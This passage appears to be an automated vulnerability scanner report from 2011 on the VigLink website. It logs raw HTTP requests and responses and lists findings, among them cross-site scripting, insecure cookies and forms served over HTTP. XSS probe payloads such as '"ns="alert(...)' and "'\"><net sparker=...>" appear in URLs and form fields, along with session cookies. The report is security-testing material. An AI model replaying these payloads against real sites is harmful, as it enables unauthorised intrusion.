"http://s3.amazonaws.com/getsatisfaction.com/"; document.write(unescape("%3Cscript src='" + asset_host + "javascripts/feedback-v2.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> (function() { try { new GSFN.feedback_widget({ display: "overlay", company: "viglink", placement: "right", color: ";", style: "question" }); } catch(err) {} })(); </script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-8560005-1"); pageTracker._trackPageview(); } catch(err) {} </script> </body></html>

- /users/signup/%22ns=%22alert(0x00027D)

/users/signup/%22ns=%22alert(0x00027D)

https://www.viglink.com/users/signup/%22ns=%22alert(0x00027D)

Parameters

Parameter	Type	Value
URI-BASED	Raw URI	/"ns="alert(0x00027D)

Request

GET /users/signup/%22ns=%22netsparker(0x00027D) HTTP/1.1
Referer: https://www.viglink.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.viglink.com
Cookie: JSESSIONID=9FEAAF14BE476CBAB8F29AE706205425; vglnk.Agent.p=bfddb90717c6db6b0a7878196952ce96
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Mon, 18 Apr 2011 23:51:53 GMT
Expires: -1
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: JSESSIONID=DE8EBEC7DD11C2F8FD2427D908075B51; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Content-Language: en
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 2203
Connection: close

<!doctype html><html lang="en" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml"><head> <title>VigLink - Sign Up</title> <meta http-equiv="Content-type" content="text/html; charset=utf-8"/> <meta name="keywords" content="affiliate marketing, monetization, content, optimization"/> <meta name="description" content="Your links can be doing more. Unlock the power of your site's links and earn extra money from your site automatically, transparently and honestly."/> <meta property="og:title" content="VigLink"/> <meta property="og:type" content="company"/> <meta property="og:url" content="http://www.viglink.com/"/> <meta property="og:image" content="http://www.viglink.com/public/images/logo-icon-small.png"/> <meta property="og:latitude" content="37.7801339"/> <meta property="og:longitude" content="-122.396744"/> <meta property="og:street-address" content="539 Bryant St Suite 400"/> <meta property="og:locality" content="San Francisco"/> <meta property="og:region" content="CA"/> <meta property="og:postal-code" content="94107"/> <meta property="og:country-name" content="USA"/> <meta property="og:email" content="info@viglink.com"/> <meta property="og:phone_number" content="+1 (415) 963-9826"/> <meta property="og:fax_number" content="+1 (415) 520-6695"/> <meta property="og:site_name" content="VigLink"/> <meta property="fb:admins" content="6003321,705684"/> <link rel="icon" type="image/png" href="/public/images/favicon.png"/> <link rel="alternate" type="application/rss+xml" title="VigLink Blog » Feed" href="http://blog.viglink.com/feed/" /> <script type="text/javascript"> var ENV = { account: { }, cookie: { domain: '.viglink.com', suffix: 'p' ? '.p' : '' } }; </script> <link rel="stylesheet" type="text/css" href="/combined.css.h-1806938078.pack" charset="utf-8"/><link rel="stylesheet" type="text/css" href="/combined.css.h123230883.pack" charset="utf-8"/><script type="text/javascript" src="/combined.js.h898114336.pack" charset="utf-8"></script></head><body> <div id="header"> <div class="content"> <h1><a href="/">VigLink</a></h1> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul></div></div><div id="body"> <ul class="navigation"> <li class=" selected"><span class="step">1</span>Sign Up</li><li><span class="step">2</span>Verify Your Account</li></ul><h2>Sign Up</h2><form action="/users/action/signup" method="post" id="signup-email-form"> <input type="hidden" name="merchantKey" value=""ns="netsparker(0x00027D)"/> <label for="email">Email:</label> <input id="email" name="email" size="30" type="text" value="" placeholder="you@example.com"/> <button type="submit">Join Free</button> <ul class="actions"> <li>Already have an account? <a href="/users/login">Log in</a></li> </ul></form><script type="text/javascript"> if( ! $('#flash').length && location.search.match( /[?&]dr=/i ) ) { $(document).ready( function() { flash.news( '<h4>Driving Revenue is now part of VigLink!</h4> Find out more on the\ <a href="http://blog.viglink.com/2010/08/02/viglink-acquires-driving-revenue/">\ VigLink blog</a>. Sign up now to get all of the benefits of\ Driving Revenue with VigLink.' ); $('#flash').addClass('dr'); } ); }</script></div> <div id="footer"> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul><ul class="social navigation"> <li class="twitter"><a href="http://www.twitter.com/viglink"><strong>Follow us</strong> on Twitter</a></li> <li class="facebook"><a href="http://www.facebook.com/viglink"><strong>Become a fan</strong> on Facebook</a></li> </ul> <ul class="minor navigation"> <li><a href="/about">About</a></li> <li><a href="/jobs">Jobs</a></li> <li><a href="/about/press">Press</a></li> <li><a href="/policies/tos">Terms of Service</a></li> <li><a href="/policies/privacy">Privacy Policy</a></li> <li><a href="/policies/ftc">FTC Disclosure</a></li> <li><a href="/support">Contact Us</a></li> </ul> <span> © VigLink 2011</span></div><script type="text/javascript"> var is_ssl = ("https:" == document.location.protocol); var asset_host = is_ssl ? "https://s3.amazonaws.com/getsatisfaction.com/" : "http://s3.amazonaws.com/getsatisfaction.com/"; document.write(unescape("%3Cscript src='" + asset_host + "javascripts/feedback-v2.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> (function() { try { new GSFN.feedback_widget({ display: "overlay", company: "viglink", placement: "right", color: ";", style: "question" }); } catch(err) {} })(); </script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-8560005-1"); pageTracker._trackPageview(); } catch(err) {} </script> </body></html>

- /users/

/users/ CONFIRMED

https://www.viglink.com/users/

Identified Cookie

vglnk.Agent.p

Request

GET /users/ HTTP/1.1
Referer: https://www.viglink.com/users/action/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.viglink.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 302 Moved Temporarily
Date: Mon, 18 Apr 2011 23:50:51 GMT
Expires: -1
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: vglnk.Agent.p=ed34bf95ecb748028d32495101e192fd; Domain=.viglink.com; Expires=Thu, 15-Apr-2021 23:50:51 GMT; Path=/
Location: https://www.viglink.com/users/login?_ek=tl&ar=%2Fusers%2F
Content-Length: 0
Connection: close
Content-Type: text/plain

- /users/login

/users/login CONFIRMED

Request

POST /users/action/presales HTTP/1.1
Referer: http://www.viglink.com/corp/publishers
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.viglink.com
Cookie: JSESSIONID=568C01F6733C4EF745CF86FDB29B8CA8; vglnk.Agent.p=bfddb90717c6db6b0a7878196952ce96
Content-Length: 74
Accept-Encoding: gzip, deflate

email='%22%3e%3cnet+sparker%3dnetsparker(0x000491)%3e&domain=3&format=json

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json
Date: Mon, 18 Apr 2011 23:52:30 GMT
Expires: -1
Pragma: no-cache
Content-Length: 101
Connection: keep-alive

{"message":"''\"><net sparker=netsparker(0x000491)>' is not a valid email address.","result":false}

- /users/action/presales

/users/action/presales

http://www.viglink.com/users/action/presales

Parameters

Parameter	Type	Value
email	POST	netsparker@example.com
domain	POST	'"><net sparker=alert(0x0004B9)>
format	POST	json

Request

GET /users/action/login HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.viglink.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 403 Forbidden
Date: Mon, 18 Apr 2011 23:50:51 GMT
Expires: -1
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: vglnk.Agent.p=70d5567f87d0029654b87f692c749fac; Domain=.viglink.com; Expires=Thu, 15-Apr-2021 23:50:51 GMT; Path=/
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 388
Connection: close

<html><head><title>Apache Tomcat/6.0.20 - Error report</title><style></style> </head><body><h1>HTTP Status 403 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>Access to the specified resource () has been forbidden.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/6.0.20</h3></body></html>

- /

/

https://www.viglink.com/

Found E-mails

info@viglink.com

Request

GET / HTTP/1.1
Referer: https://www.viglink.com/users/action/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.viglink.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Mon, 18 Apr 2011 23:50:51 GMT
Expires: -1
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: vglnk.Agent.p=bfddb90717c6db6b0a7878196952ce96; Domain=.viglink.com; Expires=Thu, 15-Apr-2021 23:50:51 GMT; Path=/,JSESSIONID=A06F0DDC982BCE0244F28C001F36E03D; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Content-Language: en
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 4912
Connection: close

<!doctype html><html lang="en" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml"><head> <title>Affiliate Every Link on the Web with VigLink</title> <meta http-equiv="Content-type" content="text/html; charset=utf-8"/> <meta name="keywords" content="affiliate marketing, monetization, content, optimization"/> <meta name="description" content="Your links can be doing more. Unlock the power of your site's links and earn extra money from your site automatically, transparently and honestly."/> <meta property="og:title" content="VigLink"/> <meta property="og:type" content="company"/> <meta property="og:url" content="http://www.viglink.com/"/> <meta property="og:image" content="http://www.viglink.com/public/images/logo-icon-small.png"/> <meta property="og:latitude" content="37.7801339"/> <meta property="og:longitude" content="-122.396744"/> <meta property="og:street-address" content="539 Bryant St Suite 400"/> <meta property="og:locality" content="San Francisco"/> <meta property="og:region" content="CA"/> <meta property="og:postal-code" content="94107"/> <meta property="og:country-name" content="USA"/> <meta property="og:email" content="info@viglink.com"/> <meta property="og:phone_number" content="+1 (415) 963-9826"/> <meta property="og:fax_number" content="+1 (415) 520-6695"/> <meta property="og:site_name" content="VigLink"/> <meta property="fb:admins" content="6003321,705684"/> <link rel="icon" type="image/png" href="/public/images/favicon.png"/> <link rel="alternate" type="application/rss+xml" title="VigLink Blog » Feed" href="http://blog.viglink.com/feed/" /> <script type="text/javascript"> var ENV = { account: { }, cookie: { domain: '.viglink.com', suffix: 'p' ? '.p' : '' } }; </script> <link rel="stylesheet" type="text/css" href="/combined.css.h-1806938078.pack" charset="utf-8"/><link rel="stylesheet" type="text/css" href="/combined.css.h-1203998437.pack" charset="utf-8"/><script type="text/javascript" src="/combined.js.h898114336.pack" charset="utf-8"></script><script type="text/javascript" src="/combined.js.h-337151240.pack" charset="utf-8"></script></head><body> <div id="header"> <div class="content"> <h1><a href="/">VigLink</a></h1> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul><span class="delimiter"></span> <ul class="navigation"> <li><a href="/users/signup">Sign Up</a></li><li><a href="/users/login">Log In</a></li></ul> </div></div><div id="body"> <h2 class="tagline"> The easiest way to monetize your content <a href="/users/signup" class="default button">Get Started Today</a></h2><ol id="viglink_steps"> <li class="write"><div>Create links in your blog or webpages as normal.</div></li> <li class="track"><div>When visitors click a link, we follow along.</div></li> <li class="earn"><div>If a purchase is made, you earn a commission.</div></li></ol><div> <div class="column span-33p"> <a href="http://www.youtube-nocookie.com/watch?v=SIYBfHUY6cg&hl=en_US&fs=1&rel=0" class="fancybox swf"> <img src="/public/images/screenshots/video-thumb.jpg" width="268" height="173" alt=""/> </a> <h4>How It Works</h4> <p> If one of your users clicks through to a product or service and buys something, you earn a commission. You only pay us a share of what you earn. </p> </div> <div class="column span-33p"> <a href="/public/images/screenshots/dashboard-revenue.jpg" class="image fancybox" title="" rel="dashboard"> <img src="/public/images/screenshots/dashboard-thumb.jpg" width="268" height="173" alt=""/> <span class="zoom">Zoom</span> </a> <a href="/public/images/screenshots/dashboard-merchants.jpg" class="fancybox" title="" rel="dashboard" style="display: none;"></a> <a href="/public/images/screenshots/dashboard-links.jpg" class="fancybox" title="" rel="dashboard" style="display: none;"></a> <a href="/public/images/screenshots/dashboard-clicks.jpg" class="fancybox" title="" rel="dashboard" style="display: none;"></a> <h4>Powerful Analytics</h4> <p> Track where users are going when they leave your site, understand which links and pages are driving the most revenue and to which merchants, and much more. </p> </div> <div class="column span-33p"> <a href="/partners" id="partners" class="image"> <img src="/public/images/partners_lg/amazon.png" alt="Amazon logo" width="182" height="35"/> <img src="/public/images/partners_lg/itunes.png" alt="iTunes logo" width="138" height="35"/> <img src="/public/images/partners_lg/walmart.png" alt="Walmart logo" width="167" height="41"/> <img src="/public/images/partners_lg/target.png" alt="Target logo" width="47" height="59"/> <img src="/public/images/partners_lg/newegg.png" alt="Newegg logo" width="81" height="39"/> <span class="zoom">More Partners</span> </a> <h4>Over 12,500 Merchants</h4> <p> Enjoy coverage of thousands of merchants across more than 20 affiliate networks. Automatically participate in all of them with one simple signup. </p> </div></div><div> <div class="column span-33p"> <h4>Easy to Install</h4> <p> Install VigLink by pasting a few lines of HTML into your site. VigLink also works with common platforms like WordPress, Blogger, TypePad and more. </p> </div> <div class="column span-33p"> <h4>Reliable on Any Size Site</h4> <p> VigLink works for any site, whether it gets 5 visits or 5 billion. Our system is designed to be totally failsafe. Even if our servers blew up, your links will keep working perfectly. </p> </div> <div class="column span-33p"> <h4>Already an Affiliate?</h4> <p> VigLink only affiliates links you've missed, or links in programs you're not already using. Links you've already affiliated are left alone. VigLink won't cost you a thing. </p> </div> <div class="column span-100p" id="signup"> <a href="/users/signup" class="default button">Get Started Today</a> </div> <div class="column span-100p" id="quotes"> <ul class="quotes"> <li> <blockquote> VigLink has been a true partner in every aspect of the word. They continue to push the envelope to improve the consumer experience, while delivering high quality traffic to our site. I would recommend VigLink for any blog/forum that puts the consumer first. </blockquote> <p> <a href="http://motors.ebay.com"> <img src="/public/images/quotes/logo-ebaymotors.png" width="164" height"38" alt="Ebay Motors logo"/> <span class="who">Famous Rhodes</span> <span class="title">Director of eBay Motors</span> </a> </p></li><li> <blockquote> VigLink's technology is easy to install and instantly provides detailed reporting of revenue that you weren't making before. Beyond that, the technical team has been highly competent and responsive to needed changes - there's not a lot more we could ask for. We'll look forward to more products from this team in the future. </blockquote> <p> <a href="http://www.huddler.com"> <img src="/public/images/quotes/logo-huddler.png" width="162" height"49" alt="Huddler logo"/> <span class="who">Dan Gill</span> <span class="title">CEO Huddler.com</span> </a> </p></li><li> <blockquote> From the first day we started with VigLink, we have never looked back, or elsewhere, for real time commission link management. </blockquote> <p> <a href="http://www.avsforum.com"> <img src="/public/images/quotes/logo-avsforum.png" width="182" height"33" alt="AVS Forums logo"/> <span class="who">David Bott</span> <span class="title">AVSForum.com, Inc.</span> </a> </p></li><li> <blockquote> VigLink has been a great and responsive partner during our nearly 2 year partnership. Their innovative products and service have provided an additional channel of monetization without interfering with our core user experience. The additional value they bring to the table is a willingness to collaborate and assist us in developing new monetization opportunities. </blockquote> <p> <a href="http://www.internetbrands.com/"> <img src="/public/images/quotes/logo-internetbrands.png" width="109" height"49" alt="Internet Brands logo"/> <span class="who">Alvin Fong</span> <span class="title">Director, Internet Brands</span> </a> </p></li><li> <blockquote> VigLink has now become an essential part of our business strategy and a major revenue stream. A truly innovative way to monetize any web site quickly without the addition of traditional intrusive display ads. </blockquote> <p> <a href="http://www.forumfoundry.com/"> <img src="/public/images/quotes/logo-forumfoundry.png" width="80" height"55" alt="Forum Foundry logo"/> <span class="who">Dan Kiehl</span> <span class="title">Forumfoundry.com</span> </a> </p></li><li> <blockquote> VigLink is a fast, automated way for Bloggers to partner with Google Affiliate Network. It takes minimal effort for Bloggers to monetize their content through Google Affiliate Network links and we've already seen VigLink installs result in new productive, affiliate publishers. </blockquote> <p> <a href="http://www.connectcommerce.com/"> <span class="who">Mari Condon</span> <span class="title">Publisher Account Manager,</span> <span class="title">Google Affiliate Network</span> </a> </p></li><li> <blockquote> I was skeptical at first how much VigLink could do for me. After almost a year of putting it off I decided to give it a try. Now I'm very sorry I lost a year of significant revenue. Installation takes a minute, nice Control Panel, no noticeable difference for your users, and best of all great money paid on time! </blockquote> <p> <a href="http://www.ferrarichat.com/"> <img src="/public/images/quotes/logo-ferrarichat.png" width="147" height"38" alt="Ferrari Chat logo"/> <span class="who">Rob Lay</span> <span class="title">Owner, Ferrarichat.com</span> </a> </p></li><li> <blockquote> VigLink is a long-standing strategic partner with eBay, eBay Motors, and eBay Marketing. We consider VigLink to be one of the most relevant and efficient sub-affiliate partners we have in our program today. Their work to build unique incremental tools with eBay APIs and to standardize implementations across many different kinds of platforms sets them apart as an innovative industry leader in the internet marketing space. </blockquote> <p> <a href="http://www.schaafco.com/"> <img src="/public/images/quotes/logo-schaaf.png" width="107" height"47" alt="Schaaf Partnercentric logo"/> <span class="title">Schaaf-PartnerCentric/eBay</span> </a> </p></li><li> <blockquote> I was skeptical about the VigLink program when it was presented. I checked with two more technical advisers who said it looked OK. I signed up, put in the code in my Forum software and was shocked to see the income the first month. I've been receiving three and sometimes four figures of income each month. It's a great deal. </blockquote> <p> <a href="http://www.askandyaboutclothes.com/"> <span class="who">Andy Gilchrist</span> <span class="title">Owner, AskAndyAboutClothes.com</span> </a> </p></li><li> <blockquote> I have been with VigLink one week and so far, I love it! I don't have time to affiliate all my links when I don't know which blog posts will generate traffic and which ones don't. VigLink gives me the option to focus on good content, and traffic building, not link building. </blockquote> <p> <a href="http://www.morewithlesstoday.com/"> <span class="who">Lori Felix</span> <span class="title">Blogger, More With Less Today</span> </a> </p></li></ul> </div></div></div> <div id="footer"> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul><ul class="social navigation"> <li class="twitter"><a href="http://www.twitter.com/viglink"><strong>Follow us</strong> on Twitter</a></li> <li class="facebook"><a href="http://www.facebook.com/viglink"><strong>Become a fan</strong> on Facebook</a></li> </ul> <ul class="minor navigation"> <li><a href="/about">About</a></li> <li><a href="/jobs">Jobs</a></li> <li><a href="/about/press">Press</a></li> <li><a href="/policies/tos">Terms of Service</a></li> <li><a href="/policies/privacy">Privacy Policy</a></li> <li><a href="/policies/ftc">FTC Disclosure</a></li> <li><a href="/support">Contact Us</a></li> </ul> <span> © VigLink 2011</span></div><script type="text/javascript"> var is_ssl = ("https:" == document.location.protocol); var asset_host = is_ssl ? "https://s3.amazonaws.com/getsatisfaction.com/" : "http://s3.amazonaws.com/getsatisfaction.com/"; document.write(unescape("%3Cscript src='" + asset_host + "javascripts/feedback-v2.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> (function() { try { new GSFN.feedback_widget({ display: "overlay", company: "viglink", placement: "right", color: ";", style: "question" }); } catch(err) {} })(); </script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-8560005-1"); pageTracker._trackPageview(); } catch(err) {} </script> </body></html>

VULNERABILITIES Vulnerabilities
	IMPORTANT 37 % MEDIUM 32 % LOW 21 % INFORMATION 11 %

XSS, www.viglink.com REPORT SUMMARY

Total Requests

Average Speed

GHDB, DORK Tests

VULNERABILITIES

Cross-site Scripting

Impact

Remedy

Remedy References

External References

/users/action/send-verification CONFIRMED

Parameters

Request

Response

/users/action/login CONFIRMED

Parameters

Request

Response

/users/action/send-verification CONFIRMED

Parameters

Request

Response

/users/action/signup CONFIRMED

Parameters

Request

Response

/users/action/presales CONFIRMED

Parameters

Request

Response

/users/signup/%22ns=%22alert(0x00027D)

Parameters

Request

Response

Cookie Not Marked As Secure

Impact

Actions to Take

Remedy

Required Skills for Successful Exploitation

/users/ CONFIRMED

Identified Cookie

Request

Response

Critical Form Served Over HTTP

Impact

Actions to Take

Remedy

/users/login CONFIRMED

Form target action

Request

Response

[Possible] PHP Source Code Disclosure

Impact

Actions to Take

Required skills for successful exploitation

External References

/combined.js.h898114336.pack

Request

Response

/policies/ftc

Request

Response

[Possible] Generic Source Code Disclosure

Impact

Actions to Take

Required Skills for Successful Exploitation

External References

/combined.js.h898114336.pack

Request

Response

[Possible] Cross-site Scripting

Impact

Remedy

Remedy References

External References

/users/action/presales

Parameters

Notes

Request

Response